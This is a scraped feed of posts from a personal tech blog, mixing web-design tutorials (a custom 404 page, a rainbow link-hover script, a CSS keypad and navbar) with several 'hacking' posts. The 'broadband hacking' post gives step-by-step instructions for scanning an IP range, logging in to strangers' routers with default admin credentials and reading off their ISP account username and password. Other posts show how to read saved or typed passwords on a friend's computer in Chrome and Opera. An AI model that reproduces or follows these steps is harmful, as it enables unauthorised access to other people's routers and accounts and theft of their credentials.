<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZoxXyhtwhhEiA-slnmdkq-GbIfC-3KO3cq2yKB8Xig05pDjEVnKE62Fl0VovPMv2B-DuYBe93u-zJJTPKzXIvX7iqSmAo15yZr99qp843INaw2tMXgv70WqEIJQtcpex8GY24gaXWiVU/s1600/google-chrome-hacked-in-5-minutes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZoxXyhtwhhEiA-slnmdkq-GbIfC-3KO3cq2yKB8Xig05pDjEVnKE62Fl0VovPMv2B-DuYBe93u-zJJTPKzXIvX7iqSmAo15yZr99qp843INaw2tMXgv70WqEIJQtcpex8GY24gaXWiVU/s1600/google-chrome-hacked-in-5-minutes.jpg" /></a></div>
Previously I had showed you how to see password in opera i.e.<a href="http://sanchit-mylife.blogspot.in/2012/07/not-hacking.html#more" target="_blank">NOT HACKING</a>. In this post i will show you same thing but with different method i.e. from your google chrome web browser. This trick is simple yet very powerfull to view or hack saved password in google chrome. It does not matter for which website the password is saved it will work on all of them. It will work on Facebook, Gmail, Yahoo, twitter and many more.<br />
<a name='more'></a>If you get your hands on your friend computer, you can hack/find their password with this simple little trick. It does not require any software or addons to be installed on your computer. Lets get started.<br />
<br />
<br />
How to view saved password in google chrome ?<br />
<i><b>Please follow these steps :: </b></i><br />
<br />
<b>STEP 1</b>. Open <u><b>Google Chrome</b></u><br />
<b> STEP 2</b>. Go to <u><b>Settings</b></u> (Its on the Right Corner)<br />
<b>STEP 3</b>. Then Click on <u><b>Advance Settings</b></u><br />
<b> STEP 4</b>. Scroll Down and their will be password<br />
and forms from their click on <u><b>Manage saved password.</b></u><br />
<b>STEP 5</b>. Then list of all websites whose passwords are saved on browser will be listed.<br />
<b>STEP 6</b>. Click on show to view those passwords<br />
<b>STEP 7</b>. Enjoy!!<br />
Hope you like this article and in next article i will show <b>HACK MOZILLA SAVED PASSWORD.</b><br />
<b> </b> If any problem persist in doing this,then comment here.</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-91831396060133031342013-01-10T18:35:00.002+05:302013-02-05T01:17:15.980+05:30BROADBAND HACKING<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCRX0dU1eFcrYaYsOfASbaPPovq74aWI5TaUoU8bwHrrdtuEygW207op7AxWFK4c1VpPRSI0RY9GPIVwvYScK-suReLMx_Sw0RJm99sNlR1koaXhHkraaAsK3ueUsJ2RUXb7P0W4ur2dg/s1600/broadband-hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCRX0dU1eFcrYaYsOfASbaPPovq74aWI5TaUoU8bwHrrdtuEygW207op7AxWFK4c1VpPRSI0RY9GPIVwvYScK-suReLMx_Sw0RJm99sNlR1koaXhHkraaAsK3ueUsJ2RUXb7P0W4ur2dg/s320/broadband-hacking.jpg" width="320" /></a></div>
In this article,I am discussing about how to hack a broadband connection.But I will suggest not to hack illegally.Well without wasting time,i am just showing few steps which you have to follow.<br />
<br />
<a name='more'></a><br />
<br />
<b>STEP 1</b>: Download any port Scanner (i will suggest Super Scan or IPscanner)<br />
or <a href="http://www.advanced-ip-scanner.com/" target="_blank">Click here</a><br />
<br />
<b>STEP 2</b>: First Get your ip from this<a href="http://www.whatismyip.com/" target="_blank"> link</a> <br />
<i>Asume your IP to be 49.x.x.17</i><br />
<br />
<b>STEP 3</b>: Copy your ip in IPscanner Software and scan for alive IPs in the range lies from<br />
<i>start:49.x.x.1 to End:49.x.x.255</i><br />
<br />
<b>STEP 4</b>: Then check in your scanner which alive IPs has the port 80 open<br />
<br />
<b>STEP 5</b>: Enter that alive IP in your web browser<br />
<br />
<b>STEP 6</b>: It asks for user , password<br />
Type u<br />
User=admin<br />
Password=admin or password<br />
It is the default password for most of the routers.<br />
if denied then use on another alive IP<br />
<br />
<b>STEP 7</b>: If success then it will show router settings page of tht IP user<br />
There goto <i>Home -> Wan Setting</i> and the username and password of his/her account will appear there.<br />
<br />
<b>STEP 8</b>: Use ShowPassword or Revelation software to view the password in asterisks<br />
Now You have Username/Password.<br />
<br />
Hope you will like this article,if any problem persist then comment here....</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-19870719168544753762013-01-07T15:00:00.002+05:302013-02-05T01:18:11.787+05:30404 error page<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjye_LOiUrEhSCm_lx_eKh8150sC7T9XvmVvDrMRRdWz5XGp61Lex0stdBpKdVJRku_WZBFlkpNbYCS9dTv9PdVrlQuKLl_qfFo1KbBoAbwV_QrSVh_ytK3O3GrwoFEiT6rwPSYRsIWAs0/s1600/custom-404-error-page-for-blogger%255B2%255D.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjye_LOiUrEhSCm_lx_eKh8150sC7T9XvmVvDrMRRdWz5XGp61Lex0stdBpKdVJRku_WZBFlkpNbYCS9dTv9PdVrlQuKLl_qfFo1KbBoAbwV_QrSVh_ytK3O3GrwoFEiT6rwPSYRsIWAs0/s1600/custom-404-error-page-for-blogger%255B2%255D.jpg" width="200" /></a></div>
<i>"The 404 or Not Found error message is a HTTP standard response code indicating that the client was able to communicate with the server, but the server could not find what was requested."</i> In simple words the page that will be displayed when the actual page is not found is called a 404 Error Page. Till now Blogger’s error page was a plain old design with more of orange in it and was not customizable. <br />
<a name='more'></a>Now Blogger Error pages use the same template . This would help template designers in making up custom 404 Pages.This article will help you in setting up a Custom 404 page for your Blog.
<br />
By Default, your Blogger Error page will display this error message <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6gAFu0i2SFC3tDBmd12j_JjXwzIDnTBoEBHVoxEl_06PI3UZ3lYg7UNghvrYDuJdmWhXu8mDVuvumKleKLtOaXrPEWHrGWJS3DOyK6Vv2LCjhuOnd5P67Hf5K_s_EgIkrX5xJlUVMNuw/s1600/custom-404-page-for-blogger%255B2%255D.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="49" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6gAFu0i2SFC3tDBmd12j_JjXwzIDnTBoEBHVoxEl_06PI3UZ3lYg7UNghvrYDuJdmWhXu8mDVuvumKleKLtOaXrPEWHrGWJS3DOyK6Vv2LCjhuOnd5P67Hf5K_s_EgIkrX5xJlUVMNuw/s640/custom-404-page-for-blogger%255B2%255D.png" width="640" /></a></div>
You can Change this message to something else from the Blogger Settings.
The option is there at <b>Settings > Search preferences > Error and redirection > Custom Page not Found</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoTzsRykyLtYN8E5KXvmLee8DpN5bRoB2mhDbowrggN2zu8NJMc8noJETeighfSxQAO8Lo3iLhe1ZiGeTH_CMmUkzc-qTWPcAH_z5tlvv0POdDJ66xuzUW83so1FwXBjpNVtAMySoandw/s1600/blogger-custom-404-message%255B3%255D.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoTzsRykyLtYN8E5KXvmLee8DpN5bRoB2mhDbowrggN2zu8NJMc8noJETeighfSxQAO8Lo3iLhe1ZiGeTH_CMmUkzc-qTWPcAH_z5tlvv0POdDJ66xuzUW83so1FwXBjpNVtAMySoandw/s640/blogger-custom-404-message%255B3%255D.png" width="640" /></a></div>
Hope you all like this article and if any problem persist then comment here...
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-39910155592639643122012-08-13T15:38:00.002+05:302013-02-05T01:20:21.338+05:30Rainbow Effect<div dir="ltr" style="text-align: left;" trbidi="on">
<blockquote class="tr_bq">
Sorry for delay in my next article as my schedule was too hactic,so in this article,I am discussing about rainbow effect in your web page. Recently i added that rainbow effects in my blog so i hope you will like it.Well when you move your cursor to that link some colors you will see which is just highlighting that link.</blockquote>
So in this article i'm sharing that rainbow effect in your web page<br />
<a name='more'></a><br />
<br />
Well for this you have to follow the steps which is given below :<br />
<b>STEP 1:</b><br />
<b></b>Copy this code above </head> <br />
<br />
<textarea cols="70" rows="20"><script type='text/javascript'>
//<![CDATA[
var rate = 20;
if (document.getElementById)
window.onerror=new Function("return true")
var objActive; // The object which event occured in
var act = 0; // Flag during the action
var elmH = 0; // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg; // A color before the change
var TimerID; // Timer ID
if (document.all) {
document.onmouseover = doRainbowAnchor;
document.onmouseout = stopRainbowAnchor;
}
else if (document.getElementById) {
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
document.onmouseover = Mozilla_doRainbowAnchor;
document.onmouseout = Mozilla_stopRainbowAnchor;
}
function doRainbow(obj)
{
if (act == 0) {
act = 1;
if (obj)
objActive = obj;
else
objActive = event.srcElement;
clrOrg = objActive.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}
function stopRainbow()
{
if (act) {
objActive.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}
function doRainbowAnchor()
{
if (act == 0) {
var obj = event.srcElement;
while (obj.tagName != 'A' && obj.tagName != 'BODY') {
obj = obj.parentElement;
if (obj.tagName == 'A' || obj.tagName == 'BODY')
break;
}
if (obj.tagName == 'A' && obj.href != '') {
objActive = obj;
act = 1;
clrOrg = objActive.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}
}
function stopRainbowAnchor()
{
if (act) {
if (objActive.tagName == 'A') {
objActive.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}
}
function Mozilla_doRainbowAnchor(e)
{
if (act == 0) {
obj = e.target;
while (obj.nodeName != 'A' && obj.nodeName != 'BODY') {
obj = obj.parentNode;
if (obj.nodeName == 'A' || obj.nodeName == 'BODY')
break;
}
if (obj.nodeName == 'A' && obj.href != '') {
objActive = obj;
act = 1;
clrOrg = obj.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}
}
function Mozilla_stopRainbowAnchor(e)
{
if (act) {
if (objActive.nodeName == 'A') {
objActive.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}
}
function ChangeColor()
{
objActive.style.color = makeColor();
}
function makeColor()
{
// Don't you think Color Gamut to look like Rainbow?
// HSVtoRGB
if (elmS == 0) {
elmR = elmV; elmG = elmV; elmB = elmV;
}
else {
t1 = elmV;
t2 = (255 - elmS) * elmV / 255;
t3 = elmH % 60;
t3 = (t1 - t2) * t3 / 60;
if (elmH < 60) {
elmR = t1; elmB = t2; elmG = t2 + t3;
}
else if (elmH < 120) {
elmG = t1; elmB = t2; elmR = t1 - t3;
}
else if (elmH < 180) {
elmG = t1; elmR = t2; elmB = t2 + t3;
}
else if (elmH < 240) {
elmB = t1; elmR = t2; elmG = t1 - t3;
}
else if (elmH < 300) {
elmB = t1; elmG = t2; elmR = t2 + t3;
}
else if (elmH < 360) {
elmR = t1; elmG = t2; elmB = t1 - t3;
}
else {
elmR = 0; elmG = 0; elmB = 0;
}
}
elmR = Math.floor(elmR).toString(16);
elmG = Math.floor(elmG).toString(16);
elmB = Math.floor(elmB).toString(16);
if (elmR.length == 1) elmR = "0" + elmR;
if (elmG.length == 1) elmG = "0" + elmG;
if (elmB.length == 1) elmB = "0" + elmB;
elmH = elmH + rate;
if (elmH >= 360)
elmH = 0;
return '#' + elmR + elmG + elmB;
}
//]]>
</script></textarea>
<br />
<br />
<b>STEP 2:</b><br />
Then in <body> tag just write some contents including any link(i.e. <a href="www.sanchit-mylife.blogspot.com"> Sanchit </a> )<br />
<b> </b><br />
<b>STEP 3:</b><br />
<ul style="text-align: left;">
<li>Now save it with .html extension </li>
<li>Open that file in browser and move your cursor to that link</li>
</ul>
<ul style="text-align: left;">
<li>Hope you will find what you want.</li>
</ul>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com1tag:blogger.com,1999:blog-396441975322116692.post-44093131895273760772012-07-16T09:14:00.001+05:302013-02-05T01:22:49.749+05:30NOT HACKING<div dir="ltr" style="text-align: left;" trbidi="on">
Aah!!well from many days i was quite busy in making a navigation menu of<a href="http://www.linkedin.com/"> LinkedIn</a> <span style="color: black;">, but the work is still in progress so I decided to share something new.Well what I am showing to you is not hacking....it's just like <i>if your any friend challenged you to get his/her facebook password and suppose if he/she just write his/her password in password place </i> and you all know that we are not able to see their password.</span><br />
<span style="color: black;"> So question arises what will you do<a name='more'></a>,how we can see their password....guys as I already told you its not hacking,its only for fun,well there are some basic steps you have to follow it :</span><br />
<span style="color: black;"><span style="font-size: x-large;">STEP 1 :</span></span><br />
<span style="color: black;"><span style="font-size: x-large;"><span style="font-size: small;">Click on opera browser and type URL of facebook</span></span></span><br />
<span style="color: black;"><span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;">STEP 2 :</span></span></span></span><br />
<span style="color: black;"><span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;">Type your friends email-id with his/her password</span></span></span></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaNkNJ19OYbDxNpDWXLdOXP4kCY7beVIMMj7TZERt5pMggZ4YQ43Uo1XK4LXkohM80vO1K5HAUM6y7pIhFBe5dnmRIxk9o09Jr0Y2AM-jxX6yfLuMadn7VyFABwWYTLCy2zOp5i8q6lfU/s1600/Photo0117.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaNkNJ19OYbDxNpDWXLdOXP4kCY7beVIMMj7TZERt5pMggZ4YQ43Uo1XK4LXkohM80vO1K5HAUM6y7pIhFBe5dnmRIxk9o09Jr0Y2AM-jxX6yfLuMadn7VyFABwWYTLCy2zOp5i8q6lfU/s320/Photo0117.jpg" width="320" /></a></div>
<br />
<span style="color: black;"><span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;">STEP 3 :</span></span></span></span></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="color: black;"> </span>
Then with cursor cover that full password as single and click right button of your cursor<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi_G5ckda6Hrg2u1QD6AsqV1x5BaaLZknCtAsZH5sOdi_EaqC-xR6ysI_BQeiuNqn8Ee8EQjZd1aB3dlahV2tzw9gXZYLhhax8uxZym4hIoh8HradQwGb45I_92sc9ihQz4phZWUyUSro/s1600/Photo0118.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi_G5ckda6Hrg2u1QD6AsqV1x5BaaLZknCtAsZH5sOdi_EaqC-xR6ysI_BQeiuNqn8Ee8EQjZd1aB3dlahV2tzw9gXZYLhhax8uxZym4hIoh8HradQwGb45I_92sc9ihQz4phZWUyUSro/s320/Photo0118.jpg" width="320" /></a></div>
<br />
<span style="font-size: x-large;">STEP 4 :</span><br />
<span style="font-size: x-large;"> <span style="font-size: small;">Then click on "Inspect element"</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;">STEP 5 :</span></span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;">There you will see the code and change the type of password</span></span></span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;">i.e. <input type="text"> </span></span></span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;">instead of </span></span></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQNPSbYT0eCBk0EPTWvvZUWh21JFMWiQjI3RJcD5tcfs2TxJDCeyypQOroX4mWGQOUT06gll-5rcK6XEMXBKfPvpXkG1-Ecc5Bm2VA0-lddJEmowfXmk9qHspDz6mXZaKWB-sQLdhs1L8/s1600/Photo0120.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQNPSbYT0eCBk0EPTWvvZUWh21JFMWiQjI3RJcD5tcfs2TxJDCeyypQOroX4mWGQOUT06gll-5rcK6XEMXBKfPvpXkG1-Ecc5Bm2VA0-lddJEmowfXmk9qHspDz6mXZaKWB-sQLdhs1L8/s320/Photo0120.jpg" width="320" /></a></div>
<span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;"><input type="password"> </span> </span> </span></span> <br />
<span style="font-size: x-large;">STEP 6 :</span><br />
<span style="font-size: x-large;"><span style="font-size: small;">Now you will find what you want</span>...<span style="font-size: small;"> </span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKYtW4_1Vm3GxJmX1fkzvQmKFJ6W_7UbT1fD8EQiHZMfFma9q5KSzmClFoaLIMgapCHQS3aTXy5zTTcJGViGWr6cERclOqqqs4wO8rwR53ZLcEVFWaKMmQiCVIgiDfnnHEYn7WfoBXDhY/s1600/Photo0121.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKYtW4_1Vm3GxJmX1fkzvQmKFJ6W_7UbT1fD8EQiHZMfFma9q5KSzmClFoaLIMgapCHQS3aTXy5zTTcJGViGWr6cERclOqqqs4wO8rwR53ZLcEVFWaKMmQiCVIgiDfnnHEYn7WfoBXDhY/s320/Photo0121.jpg" width="320" /></a></div>
<br />
<span style="font-size: x-large;"><span style="font-size: small;"> As I already said that its not a part of hacking,its only for fun and entertainment....If any problem persists then comment here </span></span></div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com4tag:blogger.com,1999:blog-396441975322116692.post-25744315164001895782012-07-02T18:53:00.001+05:302012-07-22T18:03:01.918+05:30DIGICODE<div dir="ltr" style="text-align: left;" trbidi="on">
Here in this article,I am discussing about how to make DIGICODE/ KEYPAD. Guys its so simple and you will love it if i will show a demo. Mainly i didnt use Java script in this and its simple a combination of CSS and HTML coding.So your coding is not that much difficult.<br />
Mainly digicode is what we use outside our door,garage door especially for improving the securty of that place.Now I am showing what we are going to design,actually do you think before about its coding.Its seem quite attractive.<br />
<a name='more'></a><br />
<br />
<span style="font-size: large;">Now let's see what we are going to design :</span><br />
<span style="font-size: large;"><br /></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEQeW2V5mRht1IoJWfcM1WOZKp4ED39u6GNtZXlAiuU9Mx312NdaBVCIW7HGC_90VjZFYlQc9ckXxTI2dsYPt3Dt8lG7BisxfwIEPqI1vl2n8FkSbPjrEBfYrmUd6tP7LEdREk64I0YoY/s1600/cofreltercode1050.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEQeW2V5mRht1IoJWfcM1WOZKp4ED39u6GNtZXlAiuU9Mx312NdaBVCIW7HGC_90VjZFYlQc9ckXxTI2dsYPt3Dt8lG7BisxfwIEPqI1vl2n8FkSbPjrEBfYrmUd6tP7LEdREk64I0YoY/s400/cofreltercode1050.JPG" width="400" /></a></div>
<br />
<span style="font-size: x-large;">STEP 1 : <span style="color: #cfe2f3;">CSS STYLE</span></span><br />
<span style="font-size: x-large;"><br /></span><br />
<span style="color: #76a5af;"><span style="font-size: small;">/* Gcyrillus , digicode, no psd */<br />a {<br />transition:0.1s;<br />display:inline-block;<br />height:70px;<br />width:70px;<br />margin:20px;<br />vertical-align:top;<br />text-align:center;<br />border:1px solid rgba(0,0,0,0.72);<br />border-radius:70px;<br />background:#454545;<br />color:white;<br />text-decoration:none;<br />font-family:helvetica;<br />font-weight:bold;<br />line-height:50px;<br />font-size:35px;<br />text-shadow:0 0 2px white;<br />overflow:hidden;<br />background-image:linear-gradient(-90deg,#222,#444);<br />box-shadow:<br />0 -5px 10px rgba(0,0,0,0.75),<br />0 0 15px rgba(0,0,0,1),<br />0 0 1px 3px rgba(0,0,0,0.5),<br />0 4px 5px rgba(255,255,255,0.5),<br />inset 0 2px 3px #555,<br />inset 0 4px 5px #000,<br />inset 0 0 3px #000,<br />inset 0 -20px 15px rgba(255,255,255,0.05);<br />position:relative;<br />}<br />.scaledigit {font-size:4em;line-height:1.1em;}<br />a span {font-size:14px;<br />text-transform:uppercase;<br />display:block;<br />text-align:center;<br />line-height:0em;<br />margin-top:-5px;<br />font-style:italic;<br />}<br />div#phone {background:#555;<br />width:400px;padding:100px 130px;<br />margin:2em auto;<br />text-align:center;<br />border-radius:70px;<br />background-image:<br />linear-gradient(-40deg,#222,transparent,#111), <br />linear-gradient(40deg,#222,transparent,#111), <br />linear-gradient(-40deg,#222,transparent,#111),<br />linear-gradient(40deg,#222,transparent,#111)<br />;<br />box-shadow:1px 2px 3px 2px #000,<br />0 0 5px 5px #333,<br />0 0 7px 7px #999,<br />0 0 0px 9px #555,<br />0 0 1px 11px #000,<br />120px 400px 400px -100px white;<br />background-size:70% 70%;<br />background-position:center;<br />transform:rotateY(20deg) rotateZ(-5deg) rotateX(-15deg);<br />}<br />a:hover, a:focus {<br />transition:0.1s;<br />outline:0;<br />text-shadow:0 0 2px black, 0 0 2px white;;<br />height:65px;<br />padding-top:5px;<br />background-image:linear-gradient(-90deg,#444,#222);<br />box-shadow:<br />0 5px 10px rgba(0,0,0,0.75),<br />0 0 15px rgba(0,0,0,1),<br />0 0 1px 3px rgba(0,0,0,0.5),<br />0 -4px 5px rgba(255,255,255,0.5),<br />inset 0 -2px 3px #555,<br />inset 0 -4px 5px #000,<br />inset 0 0 3px #000,<br />inset 0 20px 15px rgba(255,255,255,0.05);<br />}<br />body {<br />vertical-align:middle;<br />display:table-cell;<br />}<br />.p3d {<br />perspective:1000px;<br />transform-style:preserve-3d;<br />}<br />html {display:table;<br />background-image:linear-gradient(120deg, #123 50%, #789 50%);<br />height:100%;<br />width:100%;<br />}</span></span><span style="font-size: x-large;"><br /></span><br />
<span style="color: #76a5af;"><span style="font-size: small;"><br /></span></span><br />
<span style="color: #76a5af;"><span style="font-size: small;"><br /></span></span><br />
<span style="font-size: x-large;">STEP 2 :</span><span style="color: #76a5af;"><span style="font-size: x-large;"> </span></span><span style="font-size: x-large;"><span style="color: #d0e0e3;">HTML MARKUP</span></span><span style="font-size: small;"><span style="color: #d0e0e3;"><br /></span></span><br />
<span style="font-size: x-large;"><span style="color: #d0e0e3;"><br /></span></span><br />
<span style="font-size: small;"><span style="color: #76a5af;"><div class="p3d"><br /> <script src="http://dabblet.com/code/prefixfree.min.js"></script><br /><div id="phone"><br /><a href="#">1</a><br /><a href="#">2<span>abc</span></a><br /><a href="#">3<span>def</span></a><br /><a href="#">4<span>ghi</span></a><br /><a href="#">5<span>jkl</span></a><br /><a href="#">6<span>mno</span></a><br /><a href="#">7<span>pqrs</span></a><br /><a href="#">8<span>tuv</span></a><br /><a href="#">9<span>wxyz</span></a><br /><a href="#" class="scaledigit">&#42;</a><br /><a href="#">0</a><br /><a href="#">&#35;</a><br /></div></span></span><br />
<span style="font-size: small;"><span style="color: #76a5af;"><br /></span></span><br />
<span style="font-size: x-large;">DESCRIPTION :</span><span style="font-size: small;"><span style="color: #76a5af;"><br /></span></span><br />
<span style="font-size: small;"><span style="color: #76a5af;"><br /></span></span><br />
<span style="font-size: large;">Here is a phone keypad. It uses CSS3 : linear-background , perspective, rotate and has hovert effect on digits . Support for IE8 and below can be achieve with PIE.htc for round-borders, not perspective nor rotation.</span><span style="font-size: small;"><span style="color: #76a5af;"><br /></span></span><br />
<span style="font-size: large;"><br /></span><br />
<span style="font-size: large;">Now copy these coding in your notepad and run it via browser....</span><br />
<span style="font-size: large;"><br /></span><br />
<span style="font-size: large;"><i>If any problem persist while doing this or not getting the output,then email or comment here.If you force me,then I will share code of superheroes like superman,batman,iron man etc. in my next article.</i></span></div>Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-5849627670794267582012-07-01T21:16:00.000+05:302013-02-05T01:24:04.874+05:30BLACK COLOURED TOP NAVIGATION BAR LIKE GOOGLE<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;">We always visit google.com hundred and thousands times daily and we all are just aware of its new design. So in this article,I am discussing about its <span style="color: blue;">BLACK COLOURED</span> <span style="color: blue;">TOP NAVIGATION BAR.</span></span><span style="font-size: large;">It is the main attraction now-a-days which consists links like “+You”, “Web”,“Images”, “Photos” etc.</span><br />
<span style="font-size: large;"> In this tutorial, I will help you to create a black colored top navigation menu like you see on google’s home page. Let’s see what we are going to design in the screen shot below: <a name='more'></a></span><br />
<span style="font-size: large;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_3o1igXkgvi4rpgL2b-IMCy3PC5ZIYht2u7wY51sX5CucznQ3rsK0A9lKFKo7oujMZQDUIVAKc3MvxpoNPXv3NkNpVLtPaN9oKoKwP6F7d-Insgu7er3z3AX8evXn8cLrwwqkUJi_jPc/s1600/Google-Ubuntu-Navbar.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_3o1igXkgvi4rpgL2b-IMCy3PC5ZIYht2u7wY51sX5CucznQ3rsK0A9lKFKo7oujMZQDUIVAKc3MvxpoNPXv3NkNpVLtPaN9oKoKwP6F7d-Insgu7er3z3AX8evXn8cLrwwqkUJi_jPc/s400/Google-Ubuntu-Navbar.png" width="400" /></a></div>
<span style="font-size: x-large;">STEP 1 </span><span style="font-size: x-large;">: </span><span style="font-size: x-large;"><span style="color: #ea9999;">CSS STYLING</span></span><br />
<span style="font-size: x-large;"><span style="color: #45818e;"><br /></span></span>
<span style="color: #45818e;">body { <br /> margin:0 auto; <br />} <br /> <br />/*--navigation wrapper--*/ <br />#navwrapper { <br /> margin:0 auto; <br /> background-color: #2D2D2D; <br />} <br /> <br /> <br />#nav { <br /> font-family: Arial, Helvetica, sans-serif; <br /> font-size:12px; <br /> padding-top:4px; <br />} <br /> <br />#nav, #nav ul { <br /> padding: 0; <br /> margin: 0; <br /> list-style: none; <br /> font-family: Arial, Helvetica, sans-serif; <br />} <br /> <br />/*--main nav links style--*/ <br />#nav a { <br /> display:block; <br /> padding:7px 7px 7px 7px; <br /> color:#ccc; <br /> text-decoration:none; <br />} <br /> <br />#nav a.dmenu { <br /> <br />} <br /> <br />#nav a.dmenu:hover { <br /> color:#3366CC !important; <br /> background-color: #fff !important; <br />} <br /> <br />#nav li { <br /> float: left; <br />} <br /> <br />#nav li {position: relative;} <br /> <br />/* hide from IE, mac */ <br />#nav li {position: static; width: auto;} <br />/* end hiding from IE5 mac */ <br /> <br />/*--drop down menu styling--*/ <br />#nav li ul { <br /> position: absolute; <br /> display: none; <br /> margin-left:-1px; <br /> padding-bottom:10px; <br /> background-color: #FFFFFF; <br /> border: 1px solid #bbb; <br /> border-top:none; <br /> -moz-box-shadow: 0 0 5px #ddd; <br /> -webkit-box-shadow: 0 0 5px #ddd; <br /> box-shadow: 0 0 5px #ddd; <br /> /*--make it top of all the elements on page, so that it can be visible--*/ <br /> z-index:5000; <br />} <br /> <br />#nav li:hover a, #nav a:focus, <br />#nav a:active { <br /> padding:7px 7px 7px 7px; <br /> color:#fff; <br /> background:#444; <br /> text-decoration:none; <br />} <br /> <br />#nav li ul, #nav ul li { <br /> width: 10em; <br />} <br /> <br />/*--drop down menu styling is different from main nav, strict rule--*/ <br />#nav ul li a { <br /> color: #3366CC !important; <br /> border-right: 0; <br />} <br />#nav ul li a:hover { <br /> color:#3366CC !important; <br /> background-color: #eef3fb !important; <br /> border-right: 0; <br />} <br /> <br />/*--the selected, current item in the navigation menu--*/ <br />#nav a.current{ <br /> color:#fff; <br /> font-weight:bold; <br /> background:#2D2D2D; <br /> text-decoration:none; <br /> border-top:2px solid #C33; <br /> padding-bottom:5px; /*--removing 2px border from 7px padding--*/ <br />} <br /> <br />#nav a.current:hover{ <br /> padding-bottom:5px; /*--removing 2px border from 7px padding--*/ <br />} <br /> <br />#nav li:hover ul { <br /> display: block; <br />} <br /> <br />#nav li:hover ul a{ <br /> color: #000000; <br /> background-color: transparent; <br />} <br /> <br />#nav ul a:hover { <br /> background-color: #606060!important; <br /> color: #FFFFFF !important; <br />} <br /> <br /> /*--used in drop down menu items--*/ <br />.menuseprator{border-bottom:1px solid 